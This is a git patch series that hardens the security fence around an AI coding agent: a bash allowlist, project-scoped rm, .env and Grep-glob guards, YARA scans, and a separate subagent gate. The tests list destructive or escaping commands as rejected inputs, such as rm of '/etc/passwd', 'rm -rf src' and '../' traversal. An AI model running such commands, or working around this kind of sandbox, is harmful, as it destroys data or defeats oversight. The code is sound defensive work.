evaluateToolCall( 'write', { path: 'brand-new.ts', content: 'const value = compute();' }, diff --git a/src/agent/runner/harness/pi/index.ts b/src/agent/runner/harness/pi/index.ts index 90ea3ac54..f74809864 100644 --- a/src/agent/runner/harness/pi/index.ts +++ b/src/agent/runner/harness/pi/index.ts @@ -477,7 +477,7 @@ export const piBackend: AgentHarness = { modelRegistry: registry, cwd: input.installDir, agentDir: getAgentDir(), - securityFactory: security.factory as (pi: unknown) => void, + securityFactory: security.subagentFactory, bashTool: scrubbedBash, sdk: { createAgentSession, DefaultResourceLoader, SessionManager }, }), @@ -738,9 +738,9 @@ export const piBackend: AgentHarness = { }); } - // The skill plans events into .posthog-events.json then asks to remove it - // on completion; pi's `rm` is fence-blocked, so the agent can't — clean it - // up host-side rather than leave a stale (often empty) artifact (#15). + // The skill plans events into .posthog-events.json then asks the agent to + // remove it on completion; clean it up host-side too, so a skipped step + // never leaves a stale (often empty) artifact (#15). try { const planFile = path.join(input.installDir, '.posthog-events.json'); if (fs.existsSync(planFile)) await fs.promises.rm(planFile); diff --git a/src/agent/runner/harness/pi/security.ts b/src/agent/runner/harness/pi/security.ts index 9f89699b1..7463f159f 100644 --- a/src/agent/runner/harness/pi/security.ts +++ b/src/agent/runner/harness/pi/security.ts @@ -2,8 +2,9 @@ * Fail-closed security for the pi backend (#525). pi has no built-in * permission layer, so we attach an extension that intercepts every tool call * — built-in (bash/read/edit/write/grep) AND custom — through pi's `tool_call` - * hook and reuses the EXACT anthropic policy: `wizardCanUseTool` (the bash - * allowlist + .env fencing) plus the YARA pre-scan. A `tool_result` hook + * hook and reuses the shared tool policy: `wizardCanUseTool` (the bash fence, + * whose one `rm` rule is project-scoped, + .env fencing) plus the YARA + * pre-scan. A `tool_result` hook * post-scans output. Both fail closed: a scanner error blocks, and a critical * post-scan violation latches so every subsequent tool call is blocked and the * run terminates as a YARA violation. @@ -13,12 +14,13 @@ * harness. pi handlers are async (pi's ExtensionHandler accepts promises), so * the WASM scan awaits inline. * - * This is the one fence. Subagents run their own pi session with the SAME - * extension installed (see subagent.ts), so a child cannot escape it. + * This is the one fence. Subagents run their own pi session with its subagent + * gate installed (see subagent.ts): the same fence and state, with no `rm`. */ import fs from 'fs'; import path from 'path'; +import { fileURLToPath } from 'url'; import type { LLMProvider, ScanMatch } from '@posthog/warlock'; import { wizardCanUseTool } from '@agent/agent-interface'; import { @@ -121,50 +123,15 @@ export interface GateDecision { const str = (v: unknown): string => (typeof v === 'string' ? v : ''); -// Shell metacharacters that chain, substitute, or redirect. A command carrying -// any of these is more than one action, so we never treat it as a plain `rm`. -const SHELL_OPERATORS = /[;&|`$(){}<>\n'"\\]/; - -/** True when a target resolves to a file strictly inside the project root. */ -function isDeletableProjectFile( - target: string, - root: string, - p: typeof path, -): boolean { - if (target.startsWith('-')) return false; // a flag, not a file - if (/[*?[\]~]/.test(target)) return false; // glob / home expansion - if (p.basename(target).startsWith('.env')) return false; // secrets - - const resolved = p.resolve(root, target); - return resolved !== root && resolved.startsWith(root + p.sep); -} - -/** - * A plain `rm [-f] ` whose every target is a file inside the project - * root — the deletion shape the anthropic arm permits (there bash isn't - * allowlisted; the shared YARA destructive-delete rules catch the dangerous - * forms). pi rescues the same shape so the fall-through YARA scan can judge - * it, but refuses any shell operator so it can't smuggle a second command. - * Path checks run through the host's `path` (win32 on Windows, posix elsewhere); - * pi always executes commands via a POSIX bash, so targets use forward slashes. - */ -export function isScopedFileRemoval( - command: string, - rawRoot: string | undefined, - p: typeof path = path, -): boolean { - if (!rawRoot) return false; // no root to contain against → never rescue - const root = p.resolve(rawRoot); - const trimmed = command.trim(); - if (SHELL_OPERATORS.test(trimmed)) return false; - - const [executable, ...args] = trimmed.split(/\s+/); - if (executable !== 'rm') return false; - - if (args[0] === '-f') args.shift(); - if (args.length === 0) return false; - - return args.every((arg) => isDeletableProjectFile(arg, root, p)); +/** A pi tool path as pi opens it: its `resolveToCwd` strips a leading `@` and decodes `file://`. */ +function piToolPath(v: unknown): string { + const p = str(v).startsWith('@') ? str(v).slice(1) : str(v); + if (!p.startsWith('file://')) return p; + try { + return fileURLToPath(p); + } catch { + return p; // pi fails to open it too + } } /** A write that removes more than this fraction of an existing file's @@ -207,7 +174,7 @@ async function overwriteShrinkBlock( input: Record, workingDirectory: string | undefined, ): Promise { - const target = str(input.path); + const target = piToolPath(input.path); if (!workingDirectory || !target) return undefined; let existing: string; try { @@ -234,13 +201,16 @@ function toClaudePolicyCall( case 'bash': return { name: 'Bash', input: { command: str(input.command) } }; case 'read': - return { name: 'Read', input: { file_path: input.path } }; + return { name: 'Read', input: { file_path: piToolPath(input.path) } }; case 'write': - return { name: 'Write', input: { file_path: input.path } }; + return { name: 'Write', input: { file_path: piToolPath(input.path) } }; case 'edit': - return { name: 'Edit', input: { file_path: input.path } }; + return { name: 'Edit', input: { file_path: piToolPath(input.path) } }; case 'grep': - return { name: 'Grep', input: { path: input.path } }; + return { + name: 'Grep', + input: { path: piToolPath(input.path), glob: input.glob }, + }; default: // Custom tools (load_skill_menu, set_env_values, dispatch_agent, …) + // find/ls: no path/command, policy allows (their own handlers are fenced). @@ -335,7 +305,7 @@ async function preExecutionYaraBlock( if (ctx === 'output') observeTransportLeak(tool, content); let matches = await scanAndTriage(content, ctx, triage); - if (ctx === 'output' && isWizardDocumentationPath(str(input.path))) { + if (ctx === 'output' && isWizardDocumentationPath(piToolPath(input.path))) { matches = matches.filter((m) => m.metadata.category !== 'posthog_pii'); } // Any match blocks — except publish_handoff, critical only. @@ -369,30 +339,13 @@ export async function evaluateToolCall( ): Promise { try { const policy = toClaudePolicyCall(toolName, input); - // The allowlist is a pi-only restriction; the anthropic arm runs bash - // unrestricted and leans on the shared YARA scan. Let a plain `rm` of - // project files through to that same scan so pi matches that behavior. - // Decided first: `wizardCanUseTool` logs and captures every allowlist deny. - const allowedLikeAnthropic = - toolName === 'bash' && - isScopedFileRemoval(str(input.command), ctx.workingDirectory); - - if (allowedLikeAnthropic) { - if (ctx.disallowedTools?.includes(policy.name)) { - return { - block: true, - reason: `Tool ${policy.name} is disabled for this program.`, - }; - } - logToFile(`Allowing scoped file removal: ${str(input.command)}`); - } else { - const decision = wizardCanUseTool(policy.name, policy.input, { - disallowedTools: ctx.disallowedTools, - wizardAskPending: ctx.getWizardAskPending?.() ?? false, - }); - if (decision.behavior === 'deny') { - return { block: true, reason: decision.message }; - } + const decision = wizardCanUseTool(policy.name, policy.input, { + disallowedTools: ctx.disallowedTools, + wizardAskPending: ctx.getWizardAskPending?.() ?? false, + workingDirectory: ctx.workingDirectory, + }); + if (decision.behavior === 'deny') { + return { block: true, reason: decision.message }; } const yaraReason = await preExecutionYaraBlock( @@ -436,13 +389,26 @@ export interface SecurityState { toolCalls: number; } +/** Options for {@link createSecurityExtension}. The root is required, so no run loses the rm allowance or the shrink guard by omission. */ +export type SecurityExtensionOptions = ToolGateContext & { + workingDirectory: string; +}; + +declare const subagentGate: unique symbol; + +/** A gate with no project root, so it never allows rm. Only `subagentFactory` makes one, so a subagent can't be handed the parent's. */ +export type SubagentSecurityFactory = ((pi: PiExtensionApiLike) => void) & { + readonly [subagentGate]: true; +}; + /** * Build the pi security extension + the shared state the backend inspects. - * Install the returned factory via `extensionFactories`; pass the same factory - * into every subagent session so the fence is inherited. + * Install `factory` via `extensionFactories`. Give subagent sessions + * `subagentFactory`: the same fence and state, with no project root, so no rm. */ -export function createSecurityExtension(ctx: ToolGateContext = {}): { +export function createSecurityExtension(ctx: SecurityExtensionOptions): { factory: (pi: PiExtensionApiLike) => void; + subagentFactory: SubagentSecurityFactory; state: SecurityState; } { const state: SecurityState = { @@ -462,7 +428,7 @@ export function createSecurityExtension(ctx: ToolGateContext = {}): { repeatTracker: ctx.repeatTracker ?? createRepeatBlockTracker(), }; - const factory = (pi: PiExtensionApiLike): void => { + const install = (pi: PiExtensionApiLike, gate: ToolGateContext): void => { pi.on('tool_call', async (event) => { // A latched post-scan violation blocks everything that follows. if (state.criticalViolation) { @@ -481,7 +447,7 @@ export function createSecurityExtension(ctx: ToolGateContext = {}): { const decision = await evaluateToolCall( event.toolName, event.input ?? {}, - gateCtx, + gate, llmProvider, ); if (decision.block) { @@ -533,7 +499,16 @@ export function createSecurityExtension(ctx: ToolGateContext = {}): { }); }; - return { factory, state }; + const subagentCtx: ToolGateContext = { + ...gateCtx, + workingDirectory: undefined, + }; + return { + factory: (pi) => install(pi, gateCtx), + subagentFactory: ((pi: PiExtensionApiLike) => + install(pi, subagentCtx)) as SubagentSecurityFactory, + state, + }; } /** diff --git a/src/agent/runner/harness/pi/subagent.ts b/src/agent/runner/harness/pi/subagent.ts index 1238ca262..3b5b3d8b9 100644 --- a/src/agent/runner/harness/pi/subagent.ts +++ b/src/agent/runner/harness/pi/subagent.ts @@ -5,10 +5,10 @@ * about (it can't propagate the parent's disallowedTools into subagents). * * Controls on every child: - * - the SAME security extension (canUseTool + YARA, fail-closed) — shared state, - * so the child shares the parent's tool-call cap and violation latch; - * - a read-only built-in toolset (read/grep/find/ls + allowlisted bash) — no - * write/edit, so a subagent can research but never mutate the project; + * - the parent's subagent security gate (canUseTool + YARA, fail-closed, no + * `rm`) — shared state, so the child shares the tool-call cap and latch; + * - a read-only built-in toolset (read/grep/find/ls) plus allowlisted bash — + * no write/edit tools; * - no custom tools — no .env writes, and crucially no `dispatch_agent`, so a * child cannot recurse (depth is hard-capped at 1). */ @@ -18,6 +18,7 @@ import { defineTool } from '@earendil-works/pi-coding-agent'; import type { ToolDefinition } from '@earendil-works/pi-coding-agent'; import { logToFile } from '@utils/debug'; import { gatewayTerminalFailure } from './gateway'; +import type { SubagentSecurityFactory } from './security'; /** * Read-only built-ins a subagent may use. bash is supplied separately as the @@ -63,8 +64,8 @@ export interface SubagentContext { modelRegistry: import('@earendil-works/pi-coding-agent').ModelRegistry; cwd: string; agentDir: string; - /** The parent's security extension factory — reused so the fence is inherited. */ - securityFactory: (pi: unknown) => void; + /** The parent's subagent gate: the same fence and shared state, with no rm. */ + securityFactory: SubagentSecurityFactory; /** The parent's env-scrubbed bash, so a subagent's subprocesses are locked down too. */ bashTool: ToolDefinition; /** pi SDK entrypoints, already imported by the backend. */ @@ -101,7 +102,7 @@ export function createDispatchAgentTool(ctx: SubagentContext): ToolDefinition { noContextFiles: true, noPromptTemplates: true, noThemes: true, - extensionFactories: [ctx.securityFactory], + extensionFactories: [ctx.securityFactory as (pi: unknown) => void], }); await loader.reload(); diff --git a/src/agent/runner/harness/pi/task.ts b/src/agent/runner/harness/pi/task.ts index 290950f40..ad95fc674 100644 --- a/src/agent/runner/harness/pi/task.ts +++ b/src/agent/runner/harness/pi/task.ts @@ -294,6 +294,7 @@ export async function runPiTask(inputs: TaskRunInputs): Promise { disallowedTools: fenceDisallowList(disallowedTools), triageProvider: boot.triageProvider, getWizardAskPending: () => askState.pending, + workingDirectory: input.installDir, }); const { prewarmYaraScanner } = await import('@agent/yara-hooks'); void prewarmYaraScanner(); diff --git a/src/shared/utils/env-scan.ts b/src/shared/utils/env-scan.ts index 866b9826b..14baf4052 100644 --- a/src/shared/utils/env-scan.ts +++ b/src/shared/utils/env-scan.ts @@ -18,6 +18,7 @@ */ import path from 'path'; +import { minimatch } from 'minimatch'; import { walkProjectFiles, safeReadFile } from './bounded-fs'; /** @@ -34,6 +35,19 @@ export function isEnvFileName(name: string): boolean { return name.startsWith('.env'); } +/** {@link isEnvFileName} for access guards: APFS and NTFS open `.ENV` as `.env`. */ +export function isEnvFileNameAnyCase(name: string): boolean { + return isEnvFileName(name.toLowerCase()); +} + +const ENV_FILE_SAMPLES = ['.env', '.env.local', 'app/.env', 'app/.env.local']; + +/** True when a ripgrep `--glob` can select a `.env` file. Such a glob overrides `.gitignore`, and ripgrep's `*` matches dotfiles. */ +export function globCanSelectEnvFile(glob: string): boolean { + const options = { dot: true, nocase: true, matchBase: true }; + return ENV_FILE_SAMPLES.some((name) => minimatch(name, glob, options)); +} + /** * Committed template files: `.env.example` and its conventional siblings. They * document the keys a project expects and hold placeholders, not credentials, From cfbc8ab8911b2627e674ebc072e718afb23817fa Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Thu, 24 Sep 2026 13:30:44 -0400 Subject: [PATCH 4/6] refactor(agent): move rm containment tests beside the fence The Windows and POSIX containment tests exercise isScopedFileRemoval, which now lives in bash-fence.ts, so they move from the pi security tests to bash-fence-rm.test.ts. Also names the real-path target, reads a pi tool path once, and states the rm rule in the fence header without comparing it to another harness. No behavior change. Part of #1326 Generated-By: PostHog Desktop Task-Id: d14e92bb-6ee1-49b5-8502-39cb80079589 --- src/agent/__tests__/bash-fence-rm.test.ts | 57 ++++++++++++++++++ src/agent/bash-fence.ts | 13 +++-- .../harness/pi/__tests__/security.test.ts | 58 ------------------- src/agent/runner/harness/pi/security.ts | 3 +- 4 files changed, 67 insertions(+), 64 deletions(-) diff --git a/src/agent/__tests__/bash-fence-rm.test.ts b/src/agent/__tests__/bash-fence-rm.test.ts index b5f2dc9aa..97b755c90 100644 --- a/src/agent/__tests__/bash-fence-rm.test.ts +++ b/src/agent/__tests__/bash-fence-rm.test.ts @@ -67,3 +67,60 @@ describe('bash fence — scoped rm stays inside the root', () => { } }); }); + +// The containment logic runs through the host's `path` (win32 on Windows, posix +// elsewhere). Inject each flavor to prove the same invariants hold on both. +describe('bash fence — rm containment holds under Windows and POSIX path rules', () => { + const flavors = [ + ['win32', path.win32, 'C:\\Users\\me\\project'], + ['posix', path.posix, '/home/me/project'], + ] as const; + + for (const [name, p, root] of flavors) { + describe(name, () => { + const rescued = (command: string, r: string | undefined = root) => + isScopedFileRemoval(command, r, p); + + test('rescues in-root deletes written with forward slashes', () => { + for (const c of [ + 'rm .posthog-events.json', + 'rm src/tmp/plan.json', + 'rm -f a.txt b.txt', + ]) { + expect(rescued(c)).toBe(true); + } + }); + + test('normalizes a relative root', () => { + expect(rescued('rm plan.json', 'project')).toBe(true); + }); + + test('never escapes the root, including sibling-prefix dirs', () => { + for (const c of [ + 'rm ../outside', + 'rm src/../../outside', + 'rm ../project-evil/x', + 'rm /c/Windows/system32/x', + ]) { + expect(rescued(c)).toBe(false); + } + }); + + test('rejects backslash paths (pi runs POSIX bash, never cmd.exe)', () => { + expect(rescued('rm src\\tmp\\plan.json')).toBe(false); + }); + + test('still rejects quotes, globs, .env, and recursion', () => { + for (const c of [ + 'rm "a.txt"', + "rm '/etc/passwd'", + 'rm *.json', + 'rm config/.env.local', + 'rm -rf src', + ]) { + expect(rescued(c)).toBe(false); + } + }); + }); + } +}); diff --git a/src/agent/bash-fence.ts b/src/agent/bash-fence.ts index 6941f05a9..490c5e306 100644 --- a/src/agent/bash-fence.ts +++ b/src/agent/bash-fence.ts @@ -12,8 +12,8 @@ * registry actions (publish/push/deploy), arbitrary-package execution * (`npx ` downloads and runs it), and shell injection. Matching is * token-exact per manager — keyword prefixes admitted `npm publish` via `pub`. - * `rm` is allowed only as a plain delete of files inside the project root, the - * same tree the anthropic sandbox lets bash write to. + * `rm` is allowed only as a plain delete of named files inside the project + * root. */ import fs from 'fs'; import path from 'path'; @@ -469,7 +469,7 @@ function commandDecision( ); } -/** True when a target resolves to a file strictly inside the project root. */ +/** True when a target names a non-env file strictly inside the project root, with no flag, glob, or `..`. */ function isDeletableProjectFile( target: string, root: string, @@ -482,8 +482,11 @@ function isDeletableProjectFile( // Compare real paths, so a symlinked directory on the way can't lead out. const resolved = p.resolve(root, target); - const real = p.join(realPathOf(p.dirname(resolved), p), p.basename(resolved)); - return real.startsWith(realPathOf(root, p) + p.sep); + const realTarget = p.join( + realPathOf(p.dirname(resolved), p), + p.basename(resolved), + ); + return realTarget.startsWith(realPathOf(root, p) + p.sep); } /** `target` with its deepest existing ancestor's symlinks resolved; a missing tail stays as written. */ diff --git a/src/agent/runner/harness/pi/__tests__/security.test.ts b/src/agent/runner/harness/pi/__tests__/security.test.ts index c0492ab63..249d9c3e2 100644 --- a/src/agent/runner/harness/pi/__tests__/security.test.ts +++ b/src/agent/runner/harness/pi/__tests__/security.test.ts @@ -10,7 +10,6 @@ import { MAX_TOOL_CALLS, type PiExtensionApiLike, } from '../security'; -import { isScopedFileRemoval } from '@agent/bash-fence'; import { analytics } from '@utils/analytics'; vi.mock('@utils/analytics', () => ({ @@ -724,63 +723,6 @@ describe('pi-security: plain rm of project files', () => { }); }); -// The containment logic runs through the host's `path` (win32 on Windows, posix -// elsewhere). Inject each flavor to prove the same invariants hold on both. -describe('pi-security: rm containment holds under Windows and POSIX path rules', () => { - const flavors = [ - ['win32', path.win32, 'C:\\Users\\me\\project'], - ['posix', path.posix, '/home/me/project'], - ] as const; - - for (const [name, p, root] of flavors) { - describe(name, () => { - const rescued = (command: string, r: string | undefined = root) => - isScopedFileRemoval(command, r, p); - - test('rescues in-root deletes written with forward slashes', () => { - for (const c of [ - 'rm .posthog-events.json', - 'rm src/tmp/plan.json', - 'rm -f a.txt b.txt', - ]) { - expect(rescued(c)).toBe(true); - } - }); - - test('normalizes a relative root', () => { - expect(rescued('rm plan.json', 'project')).toBe(true); - }); - - test('never escapes the root, including sibling-prefix dirs', () => { - for (const c of [ - 'rm ../outside', - 'rm src/../../outside', - 'rm ../project-evil/x', - 'rm /c/Windows/system32/x', - ]) { - expect(rescued(c)).toBe(false); - } - }); - - test('rejects backslash paths (pi runs POSIX bash, never cmd.exe)', () => { - expect(rescued('rm src\\tmp\\plan.json')).toBe(false); - }); - - test('still rejects quotes, globs, .env, and recursion', () => { - for (const c of [ - 'rm "a.txt"', - "rm '/etc/passwd'", - 'rm *.json', - 'rm config/.env.local', - 'rm -rf src', - ]) { - expect(rescued(c)).toBe(false); - } - }); - }); - } -}); - describe('pi-security: overwrite shrink guard (destructive whole-file rewrite)', () => { // ~960 non-whitespace chars — comfortably above OVERWRITE_MIN_CHARS. const big = 'const value = compute();\n'.repeat(40); diff --git a/src/agent/runner/harness/pi/security.ts b/src/agent/runner/harness/pi/security.ts index 7463f159f..0b4c67f31 100644 --- a/src/agent/runner/harness/pi/security.ts +++ b/src/agent/runner/harness/pi/security.ts @@ -125,7 +125,8 @@ const str = (v: unknown): string => (typeof v === 'string' ? v : ''); /** A pi tool path as pi opens it: its `resolveToCwd` strips a leading `@` and decodes `file://`. */ function piToolPath(v: unknown): string { - const p = str(v).startsWith('@') ? str(v).slice(1) : str(v); + const raw = str(v); + const p = raw.startsWith('@') ? raw.slice(1) : raw; if (!p.startsWith('file://')) return p; try { return fileURLToPath(p); From 33521cff8a875eee643a113d8fcf70af91593871 Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Wed, 7 Oct 2026 07:26:00 -0400 Subject: [PATCH 5/6] fix(agent): decide Grep env globs on the glob, not sample paths Co-Authored-By: Claude Opus 5.5 --- .../__tests__/wizard-can-use-tool.test.ts | 24 +++++++ src/shared/utils/env-scan.ts | 68 +++++++++++++++++-- 2 files changed, 88 insertions(+), 4 deletions(-) diff --git a/src/agent/__tests__/wizard-can-use-tool.test.ts b/src/agent/__tests__/wizard-can-use-tool.test.ts index 5702ea746..436a19c57 100644 --- a/src/agent/__tests__/wizard-can-use-tool.test.ts +++ b/src/agent/__tests__/wizard-can-use-tool.test.ts @@ -113,6 +113,30 @@ describe('wizardCanUseTool — .env guard ignores case', () => { wizardCanUseTool('Grep', { path: '.', glob: '**/*.ts' }).behavior, ).toBe('allow'); }); + + it('denies a Grep glob that names a specific env file at any depth', () => { + for (const glob of [ + 'apps/api/.env.local', + '.env.production', + '.env.prod*', + '*.production', + '.env.development.local', + '.envrc', + '{src,apps/api}/.env.local', + ]) { + expect(wizardCanUseTool('Grep', { path: '.', glob }).behavior).toBe( + 'deny', + ); + } + }); + + it('allows a Grep exclude glob and globs that cannot match .env*', () => { + for (const glob of ['!*.min.js', '!.env*', 'src/**/*.tsx', '.gitignore']) { + expect(wizardCanUseTool('Grep', { path: '.', glob }).behavior).toBe( + 'allow', + ); + } + }); }); describe('wizardCanUseTool — wizard_ask pending guard', () => { diff --git a/src/shared/utils/env-scan.ts b/src/shared/utils/env-scan.ts index ed2bf8972..0322d7752 100644 --- a/src/shared/utils/env-scan.ts +++ b/src/shared/utils/env-scan.ts @@ -48,12 +48,72 @@ export function isEnvFileNameAnyCase(name: string): boolean { return isEnvFileName(name.toLowerCase()); } -const ENV_FILE_SAMPLES = ['.env', '.env.local', 'app/.env', 'app/.env.local']; +/** Stage words that follow `.env.` in real projects; used only to test globs that start with a wildcard. */ +const ENV_STAGE_WORDS = [ + 'local', + 'development', + 'dev', + 'production', + 'prod', + 'staging', + 'stage', + 'test', + 'testing', + 'ci', + 'preview', + 'qa', + 'uat', + 'sandbox', + 'example', + 'sample', + 'template', + 'dist', +]; + +const ENV_NAME_CANDIDATES = [ + '.env', + '.envrc', + ...ENV_STAGE_WORDS.flatMap((stage) => [ + `.env.${stage}`, + `.env.${stage}.local`, + `.env.local.${stage}`, + ]), +]; + +const GLOB_SPECIAL_CHARS = /[*?[\\(!+@]/; + +/** True when one brace-free glob can select a file whose name starts with `.env`. */ +function globAlternativeCanSelectEnvFile(glob: string): boolean { + const segments = glob.split('/').filter((segment) => segment !== ''); + const last = segments[segments.length - 1]; + if (last === undefined) return false; -/** True when a ripgrep `--glob` can select a `.env` file. Such a glob overrides `.gitignore`, and ripgrep's `*` matches dotfiles. */ + const special = last.search(GLOB_SPECIAL_CHARS); + const literalPrefix = ( + special === -1 ? last : last.slice(0, special) + ).toLowerCase(); + if (special === -1 || literalPrefix !== '') { + // The name is fixed up to its first wildcard, so the prefix decides: + // `.env.prod*` and `.e*` can reach an env file, `app*` and `.git*` cannot. + return literalPrefix.startsWith('.env') || '.env'.startsWith(literalPrefix); + } + // A leading wildcard (`*`, `?env`, `*.production`) can match any suffix, so + // test it against the env names projects use. `*.ts` still passes. + const options = { dot: true, nocase: true }; + return ENV_NAME_CANDIDATES.some((name) => minimatch(name, last, options)); +} + +/** + * True when a ripgrep `--glob` can select a `.env*` file. Such a glob overrides + * `.gitignore`, and ripgrep's `*` matches dotfiles. The glob's last segment is + * what names the file, so that segment decides, not a list of paths. A leading + * `!` only excludes files from the search, so it never selects one. + */ export function globCanSelectEnvFile(glob: string): boolean { - const options = { dot: true, nocase: true, matchBase: true }; - return ENV_FILE_SAMPLES.some((name) => minimatch(name, glob, options)); + if (glob.startsWith('!')) return false; + return minimatch + .braceExpand(glob) + .some((alternative) => globAlternativeCanSelectEnvFile(alternative)); } /** From 1dfae34c5d2db9ec21e3ee8e91bcfb38f719ff1f Mon Sep 17 00:00:00 2001 From: "Vincent (Wen Yu) Ge" Date: Wed, 7 Oct 2026 10:10:17 -0400 Subject: [PATCH 6/6] fix(agent): decide Grep globs against the env files that exist A leading-wildcard glob such as *.foo was tested only against .env, .envrc and stage names, so it could still select .env.foo. Check it against the project's real env files under the Grep path as well, keeping the name-list and literal-prefix rules. Co-Authored-By: Claude Sonnet 5.5 --- .../__tests__/wizard-can-use-tool.test.ts | 49 +++++++++++++ src/agent/agent-interface.ts | 5 +- src/shared/utils/env-scan.ts | 73 ++++++++++++++++--- 3 files changed, 116 insertions(+), 11 deletions(-) diff --git a/src/agent/__tests__/wizard-can-use-tool.test.ts b/src/agent/__tests__/wizard-can-use-tool.test.ts index 436a19c57..e1806136c 100644 --- a/src/agent/__tests__/wizard-can-use-tool.test.ts +++ b/src/agent/__tests__/wizard-can-use-tool.test.ts @@ -139,6 +139,55 @@ describe('wizardCanUseTool — .env guard ignores case', () => { }); }); +describe('wizardCanUseTool — Grep globs checked against the env files that exist', () => { + let root: string; + + beforeAll(() => { + root = fs.mkdtempSync(path.join(os.tmpdir(), 'wizard-grep-env-')); + fs.mkdirSync(path.join(root, 'apps', 'api'), { recursive: true }); + fs.writeFileSync(path.join(root, '.env.foo'), 'A=1\n'); + fs.writeFileSync(path.join(root, 'apps', 'api', '.env.stagingx'), 'B=1\n'); + fs.writeFileSync(path.join(root, 'app.ts'), 'export {}\n'); + }); + afterAll(() => fs.rmSync(root, { recursive: true, force: true })); + + const grep = (glob: string, searchPath?: string) => + wizardCanUseTool( + 'Grep', + { glob, ...(searchPath ? { path: searchPath } : {}) }, + { workingDirectory: root }, + ).behavior; + + it('denies a leading-wildcard glob that selects an env file in the project', () => { + expect(grep('*.foo')).toBe('deny'); + expect(grep('{*.foo,x}')).toBe('deny'); + expect(grep('*.stagingx')).toBe('deny'); + }); + + it('denies a glob by relative path to an env file under the Grep path', () => { + expect(grep('api/*.stagingx', 'apps')).toBe('deny'); + expect(grep('apps/*/.env.stagingx')).toBe('deny'); + }); + + it('allows a leading-wildcard glob that no env file matches', () => { + expect(grep('**/*.ts')).toBe('allow'); + expect(grep('*.bar')).toBe('allow'); + }); + + it('allows a leading-wildcard glob when the env file is outside the Grep path', () => { + expect(grep('*.foo', 'apps/api')).toBe('allow'); + }); + + it('keeps denying a conventional env name that is not on disk', () => { + expect(grep('*.local')).toBe('deny'); + expect(grep('apps/api/.env.local')).toBe('deny'); + }); + + it('allows an exclude glob', () => { + expect(grep('!*.min.js')).toBe('allow'); + }); +}); + describe('wizardCanUseTool — wizard_ask pending guard', () => { for (const tool of ['Write', 'Edit'] as const) { it(`denies ${tool} while a wizard_ask overlay is pending`, () => { diff --git a/src/agent/agent-interface.ts b/src/agent/agent-interface.ts index 5ef419660..a3f317de1 100644 --- a/src/agent/agent-interface.ts +++ b/src/agent/agent-interface.ts @@ -516,7 +516,10 @@ export function wizardCanUseTool( if (toolName === 'Grep') { const grepPath = typeof input.path === 'string' ? input.path : ''; const glob = typeof input.glob === 'string' ? input.glob : ''; - if (glob && globCanSelectEnvFile(glob)) { + const searchRoot = grepPath + ? path.resolve(context.workingDirectory ?? '.', grepPath) + : context.workingDirectory; + if (glob && globCanSelectEnvFile(glob, searchRoot)) { logToFile(`Denying Grep glob that selects env files: ${glob}`); return { behavior: 'deny', diff --git a/src/shared/utils/env-scan.ts b/src/shared/utils/env-scan.ts index 0322d7752..d42b6477a 100644 --- a/src/shared/utils/env-scan.ts +++ b/src/shared/utils/env-scan.ts @@ -82,8 +82,40 @@ const ENV_NAME_CANDIDATES = [ const GLOB_SPECIAL_CHARS = /[*?[\\(!+@]/; -/** True when one brace-free glob can select a file whose name starts with `.env`. */ -function globAlternativeCanSelectEnvFile(glob: string): boolean { +/** Project-relative POSIX paths of the `.env*` files under `rootDir`, same bounded walk as the key scan. */ +export function listProjectEnvFiles(rootDir: string): string[] { + const files: string[] = []; + walkProjectFiles( + rootDir, + (name, fullPath) => { + if (isEnvFileName(name)) + files.push(toRelativePosixPath(rootDir, fullPath)); + }, + ENV_SCAN_MAX_DEPTH, + ); + return files; +} + +const GLOB_MATCH_OPTIONS = { dot: true, nocase: true }; + +/** Whether `alternative` selects `relativePath` the way ripgrep reads a glob: by basename, or by path from the search root. */ +function globMatchesFile(alternative: string, relativePath: string): boolean { + const basename = path.posix.basename(relativePath); + return ( + minimatch(basename, alternative, GLOB_MATCH_OPTIONS) || + minimatch(relativePath, alternative, GLOB_MATCH_OPTIONS) || + minimatch(relativePath, `**/${alternative}`, GLOB_MATCH_OPTIONS) + ); +} + +/** + * True when one brace-free glob can select a file whose name starts with `.env`. + * `existingEnvFiles` is read only for a leading-wildcard name, and only once. + */ +function globAlternativeCanSelectEnvFile( + glob: string, + existingEnvFiles: () => readonly string[], +): boolean { const segments = glob.split('/').filter((segment) => segment !== ''); const last = segments[segments.length - 1]; if (last === undefined) return false; @@ -97,23 +129,44 @@ function globAlternativeCanSelectEnvFile(glob: string): boolean { // `.env.prod*` and `.e*` can reach an env file, `app*` and `.git*` cannot. return literalPrefix.startsWith('.env') || '.env'.startsWith(literalPrefix); } - // A leading wildcard (`*`, `?env`, `*.production`) can match any suffix, so - // test it against the env names projects use. `*.ts` still passes. - const options = { dot: true, nocase: true }; - return ENV_NAME_CANDIDATES.some((name) => minimatch(name, last, options)); + // A leading wildcard (`*`, `?env`, `*.production`) can match any suffix. + // Decide against the env files that exist, so `*.foo` is denied when + // `.env.foo` is there. The usual names stay denied even when absent, so a + // file the walk cannot reach (deep, hidden directory, created later) is + // still covered. `*.ts` passes both. + if ( + ENV_NAME_CANDIDATES.some((name) => + minimatch(name, last, GLOB_MATCH_OPTIONS), + ) + ) { + return true; + } + return existingEnvFiles().some((file) => globMatchesFile(glob, file)); } /** * True when a ripgrep `--glob` can select a `.env*` file. Such a glob overrides * `.gitignore`, and ripgrep's `*` matches dotfiles. The glob's last segment is - * what names the file, so that segment decides, not a list of paths. A leading - * `!` only excludes files from the search, so it never selects one. + * what names the file, so that segment decides. A leading `!` only excludes + * files from the search, so it never selects one. + * + * `searchRoot` is the directory the Grep searches (its `path` argument, or the + * project root); a leading-wildcard glob is checked against the env files under + * it. Without one, only the usual env names are checked. */ -export function globCanSelectEnvFile(glob: string): boolean { +export function globCanSelectEnvFile( + glob: string, + searchRoot?: string, +): boolean { if (glob.startsWith('!')) return false; + let listed: readonly string[] | undefined; + const existingEnvFiles = () => + (listed ??= searchRoot ? listProjectEnvFiles(searchRoot) : []); return minimatch .braceExpand(glob) - .some((alternative) => globAlternativeCanSelectEnvFile(alternative)); + .some((alternative) => + globAlternativeCanSelectEnvFile(alternative, existingEnvFiles), + ); } /**